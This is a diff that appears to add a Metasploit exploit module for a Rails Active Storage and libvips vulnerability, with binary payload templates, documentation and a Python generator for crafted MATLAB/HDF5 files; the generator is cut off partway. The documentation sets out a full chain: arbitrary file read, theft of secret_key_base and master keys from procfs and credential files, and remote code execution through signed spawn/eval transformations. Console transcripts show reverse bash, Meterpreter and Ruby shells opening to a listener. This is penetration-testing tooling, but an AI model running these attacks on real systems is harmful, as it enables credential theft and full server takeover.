diff --git a/data/exploits/CVE-2026-66066/ascii_100.mat b/data/exploits/CVE-2026-66066/ascii_100.mat new file mode 100644 index 0000000000000..0bc63a6b8e398 Binary files /dev/null and b/data/exploits/CVE-2026-66066/ascii_100.mat differ diff --git a/data/exploits/CVE-2026-66066/ascii_16.mat b/data/exploits/CVE-2026-66066/ascii_16.mat new file mode 100644 index 0000000000000..f0430fbfdb68f Binary files /dev/null and b/data/exploits/CVE-2026-66066/ascii_16.mat differ diff --git a/data/exploits/CVE-2026-66066/ascii_20.mat b/data/exploits/CVE-2026-66066/ascii_20.mat new file mode 100644 index 0000000000000..c919ab28bc858 Binary files /dev/null and b/data/exploits/CVE-2026-66066/ascii_20.mat differ diff --git a/data/exploits/CVE-2026-66066/ascii_256.mat b/data/exploits/CVE-2026-66066/ascii_256.mat new file mode 100644 index 0000000000000..28161f189c096 Binary files /dev/null and b/data/exploits/CVE-2026-66066/ascii_256.mat differ diff --git a/data/exploits/CVE-2026-66066/ascii_32.mat b/data/exploits/CVE-2026-66066/ascii_32.mat new file mode 100644 index 0000000000000..3373a3dd1b472 Binary files /dev/null and b/data/exploits/CVE-2026-66066/ascii_32.mat differ diff --git a/data/exploits/CVE-2026-66066/ascii_64.mat b/data/exploits/CVE-2026-66066/ascii_64.mat new file mode 100644 index 0000000000000..e95fb554abd0a Binary files /dev/null and b/data/exploits/CVE-2026-66066/ascii_64.mat differ diff --git a/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md b/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md new file mode 100644 index 0000000000000..f8823fe544ee0 --- /dev/null +++ b/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md @@ -0,0 +1,644 @@ +## Vulnerable Application + +CVE-2026-66066 affects Ruby on Rails Active Storage applications that process +untrusted image uploads with Vips. Active Storage allowed libvips operations +marked as unfuzzed or untrusted. A crafted MATLAB v7.3/HDF5 image can therefore +make a libmatio-enabled libvips build read files accessible to the Rails worker. + +The affected Rails ranges are: + +| Release line | Affected releases | Fixed release | +| --- | --- | --- | +| Rails 6.0 and 6.1 | 6.0.0 through 6.1.7.10 when Vips is configured | Upgrade to 7.2.3.2 or later | +| Rails 7 | 7.0.0 through 7.2.3.1 | 7.2.3.2 | +| Rails 8.0 | 8.0.0 through 8.0.5 | 8.0.5.1 | +| Rails 8.1 | 8.1.0 through 8.1.3 | 8.1.3.1 | + +Vips was not the default processor in Rails 6. Applications loading Rails 7.0 +or later framework defaults select Vips unless the application overrides the +processor. Rails 7.1 and earlier are no longer security-supported, so they did +not receive backports. + +The fixed Rails releases call `Vips.block_untrusted(true)`. The fix requires +libvips 8.13 or later and ruby-vips 2.2.1 or later; older libvips versions cannot +block the affected operations. `image_processing` 2.0 and later also blocks +untrusted Vips operations when its Vips backend loads. + +The automatic file-read and secret-recovery path additionally requires a libvips +build with MATLAB/libmatio support and access to the standard Active Storage +direct-upload endpoint. It also requires a genuine signed variation key. The +module can reuse a key supplied through `VARIATION_KEY` or found through +`REPRESENTATIONURI` / `LANDINGURI`, or obtain one through the configured safe-form +fallback. Debian Bookworm's `libvips-dev` package provides the loader used by the +tested setup. The `SECRET_KEY_BASE` shortcut skips the MATLAB/libmatio file-read +stage, but still requires the direct-upload endpoint and a CSRF token. + +### File-read transport + +The official forensic reference chain used by this module is +representation-based. The Rails advisory's affected-application criteria are +broader and explicitly say that generating variants is not a separate +requirement. In the concrete chain reproduced here, the attacker first creates +an unattached blob through `POST /rails/active_storage/direct_uploads`, which is +the only standard upload path that persists the client-declared content type +without Marcel re-identifying the bytes. The crafted blob is declared as +`image/png`, while its bytes are a structurally inconsistent MATLAB v7.3/HDF5 +file. Rails trusts the database content type for `Blob#variable?`; libvips later +selects `matload` from the file magic. + +The attacker also needs a genuine signed `variation_key` from any existing +representation. Rails resolves the signed blob ID and signed variation key +independently, so any valid variation key composes with any signed blob ID. The +module accepts a key directly through `VARIATION_KEY`, can reuse the key from +`REPRESENTATIONURI` or `LANDINGURI`, and retains the older safe-form submission +fallback for applications where the operator does not already have a key. +Active Storage mounts the direct-upload route by default even when the +application UI does not use direct uploads. + +The generated MATLAB files define square `uint8` datasets. Alternating columns +come from the target file and `/dev/zero`, with a zero boundary around the +image. This isolates file bytes horizontally. The module can also invert the +vertical sharpen convolution used by image_processing 1.14. It tests 256, 100, +64, 32, 20, and 16-pixel square layouts and selects the largest layout that +survives the existing representation transformation. The tested 20x20 resize +recovers 180 bytes per HTTP request. + +Sharpening clips sufficiently bright input bytes, so exact inversion is not +possible for every byte value. Strict reads reject pixels that cannot be +reproduced exactly. Process environments use a conservative partial mode that +replaces uncertain bytes with NUL and accepts a recovered secret only when it +validates against a genuine Active Storage signature. Partial environment loot +is labelled accordingly. + +Cropping, scaling below 16x16, lossy output, rotation, or other destructive +transformations can prevent this transport from recovering bytes. This does not +show that the application is unaffected; it only means that the selected +variation key is not a usable exfiltration transform for this module. + +Rails' forensic material also documents a `MATLAB_empty` dimension-encoding +variant in which external bytes surface as image width and height instead of +pixels. That path can survive transforms that destroy pixel values, but it is a +much narrower channel and is not a reliable generic replacement for a returned +representation. The module intentionally keeps the larger representation-based +pixel transport rather than adding a second metadata-only read path. + +Without a supplied secret, the `check` method actively uploads crafted files +and confirms exploitation by recovering `Linux version ` from `/proc/version`. +It returns `Vulnerable` only after that file read succeeds. With +`SECRET_KEY_BASE`, `check` safely validates the secret and signed-variation +transport without exercising arbitrary file read, so it returns `Detected`. + +### Secret recovery and command execution + +Without `SECRET_KEY_BASE`, exploitation searches these sources: + +1. Rails local development secret files under `/proc/self/cwd/tmp/`. +1. `SECRET_KEY_BASE` or `RAILS_MASTER_KEY` in `/proc/self/environ` and + `/proc/1/environ`. +1. `config/master.key` and environment-specific credential key files under + `/proc/self/cwd/config/`. +1. `config/credentials.yml.enc` and environment-specific encrypted credentials. +1. The legacy `config/secrets.yml` (plaintext) and `config/secrets.yml.enc` + (encrypted with `config/secrets.yml.key` or `RAILS_MASTER_KEY`). Rails 6.0 + through 7.1 fall back to `Rails.application.secrets.secret_key_base`; Rails + 7.2 removed this path. Both files are environment-keyed, so the module reads + the `shared` and current-environment `secret_key_base`. Unrendered ERB values + such as `<%= ENV["SECRET_KEY_BASE"] %>` are skipped. + +Every `secret_key_base` candidate is verified against a valid signed Active +Storage blob ID. Process environment data recovered during exploitation is +stored as Metasploit loot. + +The RCE stage uses a signed Rails/ActiveSupport variation and +ImageProcessing's chain builder. The reviewed ImageProcessing 1.x releases +accept a transformation equivalent to one of: + +```json +{"send":["spawn","/bin/sh","-c",""]} +{"send":["eval",""]} +``` + +The reporting researchers' public write-up uses `instance_eval` for the same +Vips-side transformation-validation gap. This module keeps `send/spawn` and +`send/eval` because they map directly onto Metasploit command and Ruby targets +and do not require an output-file round trip. + +During `ImageProcessing::Chainable#apply`, image_processing invokes the +supplied transformation name on the builder, using `send` in earlier 1.x +releases and `public_send` in later 1.x releases. Naming that operation `send` +invokes inherited public `Kernel#send`; its first argument then invokes private +`Kernel#spawn` (command targets) or `Kernel#eval` (the Ruby target). Execution +happens while the pipeline is being built, before processor operations run. The +`spawn` form starts the command asynchronously and avoids blocking the +representation worker. The `eval` form runs a native Ruby payload directly +inside the Rails worker without first invoking `/bin/sh` or a fetch utility. +The apply step then returns the result of `spawn` or `eval` instead of a builder, +so the representation request ends in an HTTP 500 after the payload has already +executed. Ruby payloads default `PrependFork` to true, so the session forks out +of the request worker. The same `send` surface is present in the ImageProcessing +1.x releases reviewed for this module, and no version-specific direct-`spawn` +fallback is needed for the tested targets. ImageProcessing 2.0 and later block +the untrusted libvips loader used for the file-read stage and are outside this +module's exploitable configuration. + +Rapid7's technical analysis documents the module's tested Rails version matrix +and the `send`/`spawn` and `send`/`eval` paths. The separate Rails Vips +transformation-validation gap is also tracked in Rails pull request 56995; that +open discussion is not a released fix for CVE-2026-66066. + +The module detects the ActiveSupport message format from a genuine signed blob +ID. Modern Rails versions normally use JSON. Older affected versions can +require Marshal as the signed-message serialization transport; in that case the +module applies `Marshal.dump` only to the same controlled Hash, Array, and +String values. This is not a Marshal object gadget and no target-controlled +value is passed to `Marshal.load` by the module. Rails configurations using the +MessagePack serializer are recognized automatically and accept the serializer's +JSON fallback. The execution primitive remains native to the Rails application +stack and requires no additional gadget-library dependency. + +When `SECRET_KEY_BASE` is supplied, the module directly uploads a safe PNG and +uses its valid signed blob ID to determine the key-generator and verifier +digests. SHA-1, SHA-256, SHA-384, and SHA-512 configurations are supported. It +then constructs the standard Active Storage representation route and triggers +RCE. A pre-existing representation is not needed in this mode. + +This exploit uses arbitrary file read only to recover the material required for +RCE. A future general-purpose arbitrary-file collector should be a separate +`auxiliary/gather` module rather than adding an unrelated action to this exploit. + +## Vulnerable Docker Setup + +The following loopback-only lab reproduces the tested Rails 8.0.5 configuration +on Debian Bookworm. Do not expose this deliberately vulnerable service to an +untrusted network. + +Create this layout: + +```text +rails_vips_lab/ +|-- Dockerfile +|-- Gemfile +|-- app/ +| |-- controllers/posts_controller.rb +| |-- models/post.rb +| `-- views/posts/ +| |-- new.html.erb +| `-- show.html.erb +|-- config/routes.rb +`-- db/migrate/20260730000000_create_posts.rb +``` + +Use this `Dockerfile`: + +```dockerfile +FROM ruby:3.3.8-slim-bookworm + +RUN apt-get update \ + && apt-get install -y --no-install-recommends build-essential curl libsqlite3-dev libvips-dev pkg-config \ + && rm -rf /var/lib/apt/lists/* + +RUN gem install rails --version 8.0.5 --no-document +RUN rails _8.0.5_ new /rails --name=rails_vips_lab --skip-bundle --skip-git --skip-javascript --skip-hotwire --skip-action-mailbox --skip-action-text --database=sqlite3 + +WORKDIR /rails + +COPY Gemfile /rails/Gemfile +RUN bundle install +RUN bin/rails active_storage:install + +COPY config/routes.rb /rails/config/routes.rb +COPY app/controllers/posts_controller.rb /rails/app/controllers/posts_controller.rb +COPY app/models/post.rb /rails/app/models/post.rb +COPY app/views/posts/new.html.erb /rails/app/views/posts/new.html.erb +COPY app/views/posts/show.html.erb /rails/app/views/posts/show.html.erb +COPY db/migrate/20260730000000_create_posts.rb /rails/db/migrate/20260730000000_create_posts.rb + +RUN groupadd --system --gid 1000 rails \ + && useradd rails --uid 1000 --gid 1000 --create-home --shell /bin/bash \ + && chown -R rails:rails /rails + +ENV RAILS_ENV=development +ENV SECRET_KEY_BASE=rails-vips-lab-secret-key-base-0123456789abcdef + +EXPOSE 3000 + +USER rails:rails + +CMD ["bash", "-lc", "bin/rails db:prepare && bin/rails server -b 0.0.0.0 -p 3000"] +``` + +Use this `Gemfile`: + +```ruby +source "https://rubygems.org" + +gem "rails", "= 8.0.5" +gem "propshaft" +gem "sqlite3", ">= 2.1" +gem "puma", ">= 5.0" +gem "image_processing", "= 1.14.0" +gem "ruby-vips", "= 2.2.2" +gem "bootsnap", require: false +``` + +Use this model: + +```ruby +class Post < ApplicationRecord + has_one_attached :image +end +``` + +Use this controller: + +```ruby +class PostsController < ApplicationController + def new + @post = Post.new + end + + def create + @post = Post.create!(post_params) + render :show + end + + def show + @post = Post.find(params[:id]) + end + + private + + def post_params + params.expect(post: [:image]) + end +end +``` + +Use these views: + +```erb +<%= form_with model: @post do |form| %> + <%= form.file_field :image, direct_upload: true %> + <%= form.submit %> +<% end %> +``` + +```erb +<%= image_tag @post.image.variant(resize_to_limit: [20, 20], format: :png).processed %> +``` + +Use these routes: + +```ruby +Rails.application.routes.draw do + root "posts#new" + resources :posts, only: %i[create show] +end +``` + +Use this migration: + +```ruby +class CreatePosts < ActiveRecord::Migration[8.0] + def change + create_table :posts + end +end +``` + +Build and run the lab: + +```bash +docker build --tag rails-vips-cve-2026-66066 . +docker run --rm --name rails-vips-cve-2026-66066 \ + --publish 127.0.0.1:3003:3000 rails-vips-cve-2026-66066 +``` + +The form is available at `http://127.0.0.1:3003/`. + +Stop and remove the lab when testing is complete: + +```bash +docker stop rails-vips-cve-2026-66066 +``` + +## Verification Steps + +1. Start the vulnerable lab or another authorized target. +1. Start `msfconsole`. +1. Run `use exploit/multi/http/rails_activestorage_vips_rce`. +1. Run `set RHOSTS 127.0.0.1`. +1. Run `set RPORT 3003`. +1. Run `set TARGETURI /`. +1. For the supplied lab, leave `VARIATION_KEY` and `REPRESENTATIONURI` unset; + the default `LANDINGURI /` and `SUBMITURI /posts` safe-form fallback obtains + a genuine signed variation key. For another application, supply a genuine + signed key or configure `LANDINGURI` / `REPRESENTATIONURI` appropriately. +1. Configure `LHOST` and any other options required by the default reverse Bash + payload, select target 1 for the default Linux Meterpreter fetch payload, or + select target 2 for a native Ruby payload whose initial execution does not + require `/bin/sh` or a fetch utility. +1. Run `check` to confirm the representation-based file read. +1. Run `run`. + +If `secret_key_base` is already known, set `SECRET_KEY_BASE`. The module then +does not require `VARIATION_KEY`, `SUBMITURI`, `ATTACHMENT_FIELD`, or a +pre-existing representation, but it still requires the direct upload endpoint +and a CSRF token. This is a post-compromise shortcut rather than a CVE check: +known-secret mode can execute on a patched Rails target because it skips the +file-read stage entirely. + +Automatic file-read and secret recovery use Linux procfs. For a non-Linux Unix +target, supply `SECRET_KEY_BASE` and select a compatible command payload. + +## Targets + +### 0 (Unix Command) + +Executes an inline `ARCH_CMD` payload through `/bin/sh`. The default payload is +`cmd/unix/reverse_bash`, which requires Bash and an outbound connection to the +configured listener. + +### 1 (Linux Fetch Command) + +Uses a Linux fetch payload and stages it under `/tmp`. The default payload is +`cmd/linux/http/x64/meterpreter/reverse_tcp`. The target must be x86-64 Linux, +have a compatible HTTP fetch utility such as `curl` or `wget`, and permit writes +and execution in `FETCH_WRITABLE_DIR`. This target defaults `FETCH_DELETE` to +`true`, so the fetch payload attempts to remove its staged executable after +launch. + +### 2 (Ruby) + +Executes a native `ARCH_RUBY` payload through `Kernel#eval` inside the Rails +worker. The default payload is `ruby/shell_reverse_tcp`. This target reaches +`Kernel#eval` without first invoking `/bin/sh` or a fetch utility. The command +targets remain preferable when a shell is available because they unlock the +full `cmd/unix` payload catalogue, including native Meterpreter via target 1. +Ruby payloads default `PrependFork` to true, so the session forks out of the +request worker while the triggering representation request returns an HTTP 500. + +## Options + +### LANDINGURI + +A page containing a CSRF meta or form token. When `VARIATION_KEY` and +`REPRESENTATIONURI` are unset, the module also searches this page for an +existing representation. Default: `/`. + +### SUBMITURI + +The application endpoint that accepts the safe attachment form submission when +the module needs to create a representation path. Its response must contain the +resulting representation image. This option is only used when +`VARIATION_KEY`, `REPRESENTATIONURI`, and `SECRET_KEY_BASE` are all unset. +Default: `/posts`. + +### DIRECTUPLOADURI + +The Active Storage direct-upload creation endpoint. When `VARIATION_KEY` or +`SECRET_KEY_BASE` is supplied, this path must end in `/direct_uploads` so the +module can derive the standard representation route prefix. Default: +`/rails/active_storage/direct_uploads`. + +### ATTACHMENT_FIELD + +The form field that accepts the direct upload's signed blob ID at `SUBMITURI`. +This is only used by the safe-form fallback. Default: `post[image]`. + +### REPRESENTATION_INDEX + +The zero-based image index to use when a page contains multiple Active Storage +representation images. Default: `0`. + +### REPRESENTATIONURI + +An existing Active Storage representation URL or path. Modern +`/representations/redirect/` and `/representations/proxy/` routes and the Rails +6.0 legacy `/representations/` route are supported. This bypasses the safe form +submission in automatic recovery mode. It is not needed when `VARIATION_KEY` or +`SECRET_KEY_BASE` is supplied. + +### VARIATION_KEY + +A genuine signed Active Storage variation key scraped from any rendered +representation. The key is not bound to the source blob, so the module can pair +it with each crafted direct-upload blob and construct the standard redirect or +legacy representation route itself. + +### SECRET_KEY_BASE + +A known Rails `secret_key_base`. This skips the arbitrary-file-read phase. The +module creates a safe blob, verifies the secret against its signed ID, and +constructs the representation route itself. + +### CSRF_TOKEN + +A known Rails CSRF token. If unset, the module extracts a meta or form +authenticity token from `LANDINGURI`. + +### COOKIE + +A Cookie header for applications whose landing, upload, or representation paths +require an authenticated session. Cookies learned from responses are retained. + +### KEY_GENERATOR_DIGEST + +The digest used by Rails' key generator. `auto` checks SHA-256, SHA-1, SHA-384, +and SHA-512 against a valid signed blob ID. Set this manually only if automatic +detection is not possible. Default: `auto`. + +### VERIFIER_DIGEST + +The HMAC digest used by the ActiveSupport message verifier. `auto` infers +SHA-1, SHA-256, SHA-384, or SHA-512 from a genuine signed blob ID. This is +independent of `KEY_GENERATOR_DIGEST`. Default: `auto`. + +### MESSAGE_SERIALIZER + +The ActiveSupport message serializer used for the signed variation. `auto` +detects JSON, Marshal, or MessagePack from a genuine signed blob ID. Rails' +JSON-compatible fallback is used for MessagePack; the manual overrides are +`json` and `marshal`. Marshal here is only the transport for a plain +transformation Hash; the command primitive does not use a Marshal object gadget. +Default: `auto`. + +## Advanced Options + +### EnvironmentMaxBytes + +The maximum number of recovered bytes retained from each procfs environment +file. Recovery stops early once it finds a complete `SECRET_KEY_BASE` that +validates against the signed blob ID. A recovered `RAILS_MASTER_KEY` does not +stop the read early because later entries can identify a custom Rails +environment or contain `SECRET_KEY_BASE`. Default: `65536`. + +### CredentialsMaxBytes + +The maximum number of bytes read from each Rails credentials or legacy secrets +file. Default: `262144`. + +## Side Effects + +`check` is active: it creates direct-upload blobs and representation variants. +Without `SECRET_KEY_BASE`, it recovers `/proc/version`; if no variation key or +representation is supplied or exposed, it also creates a safe attachment and +application record to obtain one. With `SECRET_KEY_BASE`, it requests only a +benign signed PNG representation and does not test arbitrary file read. + +Exploitation creates more blobs and variants for file chunks. The module does +not remove database records or objects from the configured Active Storage +service. Requests can appear in Rails, reverse-proxy, job, and object-storage +logs. Environment bytes are stored locally as Metasploit loot. Successful +command-target exploitation starts a child process with `Kernel#spawn`, and the +payload may make an outbound connection. Target 1 temporarily writes its fetch +payload to `FETCH_WRITABLE_DIR`; with the default `FETCH_DELETE true`, the fetch +adapter attempts to remove that executable after launch. + +The primary advisory is +[GHSA-xr9x-r78c-5hrm](https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm). + +## Scenarios + +### Rails 8.0.5 on Debian Bookworm x86-64, default Unix reverse shell + +The following run used the Docker lab above. It includes an explicit check, +session proof, termination of each opened session, and an immediate successful +rerun. + +``` +msf > use exploit/multi/http/rails_activestorage_vips_rce +[*] Using configured payload cmd/unix/reverse_bash +msf exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003 +RPORT => 3003 +msf exploit(multi/http/rails_activestorage_vips_rce) > set TARGETURI / +TARGETURI => / +msf exploit(multi/http/rails_activestorage_vips_rce) > set TARGET 0 +TARGET => 0 +msf exploit(multi/http/rails_activestorage_vips_rce) > set PAYLOAD cmd/unix/reverse_bash +PAYLOAD => cmd/unix/reverse_bash +msf exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.17.0.1 +LHOST => 172.17.0.1 +msf exploit(multi/http/rails_activestorage_vips_rce) > set LPORT 4444 +LPORT => 4444 +msf exploit(multi/http/rails_activestorage_vips_rce) > check +[+] Selected the 256x256 raw text-read layout (32512 bytes per request) +[+] 127.0.0.1:3003 - The target is vulnerable. Recovered /proc/version with the 256x256 raw layout +msf exploit(multi/http/rails_activestorage_vips_rce) > run -z + +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Selected the 256x256 raw text-read layout (32512 bytes per request) +[+] The target is vulnerable. Recovered /proc/version with the 256x256 raw layout +[*] Reading up to 65536 bytes from /proc/self/environ +[*] Detected SHA1 Active Support verifier signatures +[*] Detected the Active Support marshal message serializer +[*] Validated SHA1 key derivation against a signed blob ID +[*] Stored recovered environment bytes in: /tmp/kindarails2shell-msf/loot/20260806145416_default_127.0.0.1_rails.process.en_728945.bin +[+] Recovered SECRET_KEY_BASE from /proc/self/environ +[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ +[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.17.0.2:37472) at 2026-08-06 14:54:22 +0100 +[*] Session 1 created in the background. + +msf exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -c id +[*] Running 'id' on shell session 1 (127.0.0.1) +uid=1000(rails) gid=1000(rails) groups=1000(rails) +msf exploit(multi/http/rails_activestorage_vips_rce) > sessions -k 1 +[*] Killing the following session(s): 1 +[*] Killing session 1 +[*] 127.0.0.1 - Command shell session 1 closed. +msf exploit(multi/http/rails_activestorage_vips_rce) > run -z +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Selected the 256x256 raw text-read layout (32512 bytes per request) +[+] The target is vulnerable. Recovered /proc/version with the 256x256 raw layout +[*] Reading up to 65536 bytes from /proc/self/environ +[*] Detected SHA1 Active Support verifier signatures +[*] Detected the Active Support marshal message serializer +[*] Validated SHA1 key derivation against a signed blob ID +[*] Stored recovered environment bytes in: /tmp/kindarails2shell-msf/loot/20260806145542_default_127.0.0.1_rails.process.en_386574.bin +[+] Recovered SECRET_KEY_BASE from /proc/self/environ +[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ +[*] Command shell session 2 opened (172.17.0.1:4444 -> 172.17.0.2:38718) at 2026-08-06 14:55:48 +0100 +[*] Session 2 created in the background. +msf exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 2 -c id +[*] Running 'id' on shell session 2 (127.0.0.1) +uid=1000(rails) gid=1000(rails) groups=1000(rails) +msf exploit(multi/http/rails_activestorage_vips_rce) > sessions -k 2 +[*] Killing the following session(s): 2 +[*] Killing session 2 +[*] 127.0.0.1 - Command shell session 2 closed. +``` + +### Rails 8.0.5 on Debian Bookworm x86-64, default Linux Meterpreter fetch payload + +This run used `RHOSTS 127.0.0.1`, `RPORT 3003`, `TARGETURI /`, target 1, +`LHOST` / `FETCH_SRVHOST 172.17.0.1`, `LPORT 4445`, `FETCH_SRVPORT 8082`, +`FETCH_DELETE true`, `FETCH_FILENAME msf-vips-fetch-cleanup-test`, +`FETCH_WRITABLE_DIR /tmp`, and the default +`cmd/linux/http/x64/meterpreter/reverse_tcp` payload. The target-side file check +was performed after the fetch adapter's randomized deletion delay. + +``` +msf exploit(multi/http/rails_activestorage_vips_rce) > check +[+] Selected the 256x256 raw text-read layout (32512 bytes per request) +[+] 127.0.0.1:3003 - The target is vulnerable. Recovered /proc/version with the 256x256 raw layout +msf exploit(multi/http/rails_activestorage_vips_rce) > run -z +[*] Started reverse TCP handler on 172.17.0.1:4445 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Selected the 256x256 raw text-read layout (32512 bytes per request) +[+] The target is vulnerable. Recovered /proc/version with the 256x256 raw layout +[*] Reading up to 65536 bytes from /proc/self/environ +[*] Detected SHA1 Active Support verifier signatures +[*] Detected the Active Support marshal message serializer +[*] Validated SHA1 key derivation against a signed blob ID +[*] Stored recovered environment bytes in: /tmp/kindarails2shell-msf/loot/20260806145728_default_127.0.0.1_rails.process.en_405668.bin +[+] Recovered SECRET_KEY_BASE from /proc/self/environ +[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ +[*] Sending stage (3106788 bytes) to 172.17.0.2 +[*] Meterpreter session 3 opened (172.17.0.1:4445 -> 172.17.0.2:41682) at 2026-08-06 14:57:28 +0100 +[*] Session 3 created in the background. +msf exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 3 +[*] Starting interaction with 3... +meterpreter > getuid +Server username: rails +meterpreter > ls /tmp/msf-vips-fetch-cleanup-test +[-] stdapi_fs_stat: Operation failed: 1 +meterpreter > background +[*] Backgrounding session 3... +``` + +This captured transcript ends after backgrounding session 3; terminate the +session with `sessions -k 3` before stopping the lab. + +### Rails 8.0.5 on Debian Bookworm x86-64, native Ruby (eval) target + +This run started from a fresh module instance with `RHOSTS 127.0.0.1`, +`RPORT 3003`, `TARGETURI /`, `AutoCheck false`, target 2, the +`ruby/shell_reverse_tcp` payload, `LHOST 172.17.0.1`, `LPORT 4446`, and the lab's +documented `SECRET_KEY_BASE`. + +``` +msf exploit(multi/http/rails_activestorage_vips_rce) > run -z +[*] Started reverse TCP handler on 172.17.0.1:4446 +[!] AutoCheck is disabled, proceeding with exploitation +[*] Using operator-supplied SECRET_KEY_BASE +[*] Detected SHA1 Active Support verifier signatures +[*] Detected the Active Support marshal message serializer +[*] Validated SHA1 key derivation against a signed blob ID +[*] Triggering the ImageProcessing send/eval variation using a verifier key derived from operator-supplied SECRET_KEY_BASE +[*] Command shell session 4 opened (172.17.0.1:4446 -> 172.17.0.2:40618) at 2026-08-06 15:01:49 +0100 +[*] Session 4 created in the background. +msf exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 4 -c id +[*] Running 'id' on shell session 4 (127.0.0.1) +uid=1000(rails) gid=1000(rails) groups=1000(rails) +msf exploit(multi/http/rails_activestorage_vips_rce) > sessions -k 4 +[*] Killing the following session(s): 4 +[*] Killing session 4 +[*] 127.0.0.1 - Command shell session 4 closed. +``` + +The representation request can return HTTP 500 because the `eval` operation +returns a non-image value after the Ruby payload has already run. diff --git a/external/source/exploits/CVE-2026-66066/README.md b/external/source/exploits/CVE-2026-66066/README.md new file mode 100644 index 0000000000000..8c3724d5ae8b0 --- /dev/null +++ b/external/source/exploits/CVE-2026-66066/README.md @@ -0,0 +1,54 @@ +# CVE-2026-66066 Active Storage Vips templates + +This directory contains the generator for the HDF5/MATLAB external-storage +templates used by `modules/exploits/multi/http/rails_activestorage_vips_rce.rb`. +The generated artifacts are committed under `data/exploits/CVE-2026-66066/`. + +## Build + +The generator requires Python 3, NumPy, and `h5py`. The committed artifacts +were generated with the following reference toolchain on x86-64 Linux: + +- CPython 3.13.5 +- pip 25.1.1 +- NumPy 2.5.1 +- h5py 3.16.0 (the manylinux wheel bundles HDF5 2.0.0) + +Use the pinned versions when byte-for-byte reproducibility is required. HDF5 +metadata serialization can differ between library releases even when the +resulting dataset is semantically equivalent. + +```sh +python3.13 -m venv .venv +.venv/bin/python -m pip install 'pip==25.1.1' +.venv/bin/python -m pip install --only-binary=:all: 'numpy==2.5.1' 'h5py==3.16.0' +.venv/bin/python external/source/exploits/CVE-2026-66066/generate_msf_templates.py +``` + +Run the commands from the Metasploit Framework root. The script performs local +layout checks while generating each template and writes the resulting files to +`data/exploits/CVE-2026-66066/`. + +The expected SHA-256 digests for the reference toolchain are: + +```text +c24104e665036dfe84f5ad616368c4b2f5b0c8180ae0ac7aa5606cc0b0d36236 ascii_256.mat +24b14bd0015c5a1370a1395119f44cd9e2a48e99747a510fefda95be461dbf40 ascii_100.mat +f4512b49ee9d781857b60f49311c08cfd395794d01aa48f585c141afff3e2042 ascii_64.mat +0aad1429cb605e09fc640c0da51188213d0ec457783837ab3d86eb4de01ab047 ascii_32.mat +5dbf7909fbfa954fec333c8ad7bd63845a224d95d7a617339996f710c8da1068 ascii_20.mat +c953962ddd38cadbe167955010d4d228868d9f31a43f75c48250b37dd6c14fa8 ascii_16.mat +``` + +## MATLAB class attribute compatibility + +The `MATLAB_class` attribute deliberately uses a fixed-width `S6` value +containing `uint8` followed by an explicit NUL byte. Do not shorten it to `S5` +or replace it with a variable-length string. + +libmatio 1.5.24 and earlier read this attribute into a same-width, +NUL-terminated memory type. An `S5` value has no room for the terminator, so +those releases truncate `uint8` to `uint` and reject the dataset with +`unsupported class type 0`. Storing `uint8\0` as `S6` works with those older +libmatio releases as well as newer releases and keeps the templates usable on +common supported distributions. diff --git a/external/source/exploits/CVE-2026-66066/generate_msf_templates.py b/external/source/exploits/CVE-2026-66066/generate_msf_templates.py new file mode 100755 index 0000000000000..b13336f47a907 --- /dev/null +++ b/external/source/exploits/CVE-2026-66066/generate_msf_templates.py @@ -0,0 +1,116 @@ +#!/usr/bin/env python3 +"""Generate the HDF5/MATLAB external-storage templates used by the module.""" + +# This source is distributed under the Metasploit Framework License. +# https://github.com/rapid7/metasploit-framework/blob/master/LICENSE + +from __future__ import annotations + +from pathlib import Path +import struct +import tempfile + +import h5py + + +HDF5_USERBLOCK_SIZE = 512 +HDF5_SIGNATURE = b"\x89HDF\r\n\x1a\n" +MATLAB_HEADER_TEXT = b"MATLAB 5.0 external-storage Active Storage MSF" +EXTERNAL_PATH_PLACEHOLDER = ( + "/rails_vips_external_path_placeholder_012345678901234567890123456789" +) +EXTERNAL_OFFSET_MARKER = 0x4D53460000000000 +TEMPLATE_DIMENSIONS = (256, 100, 64, 32, 20, 16) +FRAMEWORK_ROOT = Path(__file__).resolve().parents[4] +OUTPUT_DIR = FRAMEWORK_ROOT / "data" / "exploits" / "CVE-2026-66066" + + +def matlab_header() -> bytes: + """Return the 128-byte MATLAB v7.3 user-block header.""" + header = bytearray(b" " * 128) + header[: len(MATLAB_HEADER_TEXT)] = MATLAB_HEADER_TEXT + struct.pack_into(" list[int]: + """Return columns isolated by zero-valued neighbours in the Vips image.""" + return list(range(1, dimension - 1, 2)) + + +def external_segments(dimension: int) -> list[tuple[str, int, int]]: + """Build one external-storage record for each Vips image column.""" + columns = set(target_columns(dimension)) + data_index = 0 + segments = [] + + for column in range(dimension): + if column in columns: + segments.append( + ( + EXTERNAL_PATH_PLACEHOLDER, + EXTERNAL_OFFSET_MARKER + data_index, + dimension, + ) + ) + data_index += 1 + else: + segments.append(("/dev/zero", 0, dimension)) + + return segments + + +def build_template(output: Path, dimension: int) -> None: + """Build and validate one square, sharpen-tolerant text-read template.""" + with h5py.File(output, "w", userblock_size=HDF5_USERBLOCK_SIZE) as mat_file: + dataset = mat_file.create_dataset( + "pixels", + shape=(dimension, dimension), + dtype=" None: + OUTPUT_DIR.mkdir(parents=True, exist_ok=True) + with tempfile.TemporaryDirectory() as temp_dir: + for dimension in TEMPLATE_DIMENSIONS: + filename = f"ascii_{dimension}.mat" + temp_path = 